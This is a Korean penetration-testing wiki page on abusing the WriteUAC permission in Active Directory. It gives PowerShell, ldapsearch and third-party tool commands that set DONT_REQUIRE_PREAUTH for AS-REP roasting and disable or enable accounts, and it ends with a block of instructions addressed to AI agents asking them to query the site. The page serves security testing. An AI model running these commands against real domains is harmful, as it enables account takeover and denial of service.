# WriteUAC

<figure><img src="/files/SDEU6L4W9qTPONyfPx6x" alt=""><figcaption><p>WriteUAC 세팅</p></figcaption></figure>

WriteUAC는 도메인 객체의 userAccountControl 속성을 변경할 수 있는 권한입니다. 블러드하운드에서 등록된 권한이 아니기 때문에 실제로 권한을 가진 객체라고 하더라도 별도로 표시되지는 않습니다.

userAccountControl 속성에 대해 쓰기 권한이 있다면 할 수 있는 행위는 많은 편입니다. 모든 속성 플래그는 [Microsoft 공식 문서](https://learn.microsoft.com/ko-kr/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties) 나와있으며, 다음은 침투 테스트에서 사용할 수 있는 속성입니다.

<table><thead><tr><th width="271">속성</th><th>설명</th></tr></thead><tbody><tr><td>ACCOUNTDISABLE</td><td>계정 활성화/비활성화</td></tr><tr><td>DONT_REQUIRE_PREAUTH</td><td>Do not require Kerberos preauthentication 활성화/비활성화</td></tr></tbody></table>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell" data-title="DONT_REQUIRE_PREAUTH"><code class="lang-powershell"><strong># 사용자 크리덴셜 변수화
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
$target  = 'user-B'

<strong># 사용자 UAC 비트 수정(백업 필요 시 백업 해야함)
</strong>$uacOld  = (Get-ADUser $target -Properties userAccountControl -Credential $cred).userAccountControl
$uacNew  = $uacOld -bor 0x00400000
Set-ADUser $target -Replace @{userAccountControl = $uacNew} -Credential $cred
</code></pre>

<pre class="language-powershell" data-title="ACCOUNTDISABLE"><code class="lang-powershell"><strong># 모든 비활성화 계정 열거
</strong>Get-ADUser -Filter 'Enabled -eq $false' -Properties Enabled | Select-Object Name, SamAccountName, Enabled

<strong># 계정 활성화/비활성화
</strong>Disable-ADAccount -Identity user-B
Enable-ADAccount  -Identity user-B
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 모든 비활성화 계정 열거
</strong>ldapsearch -x -H ldap://192.168.1.11 -D 'user-A@contoso.com' -w 'Password123!' -b "DC=contoso,DC=com" "(&#x26;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName distinguishedName

<strong># uac 속성 변경 코드 다운로드
</strong>git clone https://github.com/Mick3y-ko/modifyContribute.git
cd modifyContribute
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

<strong># 원하는 속성 활성화/비활성화
</strong>python3 modifyContribute.py -d contoso.com -dc-ip 192.168.1.11 -u user-A -p 'Password123!' --target user-B --asrep enable
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/dacl/writeuac.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
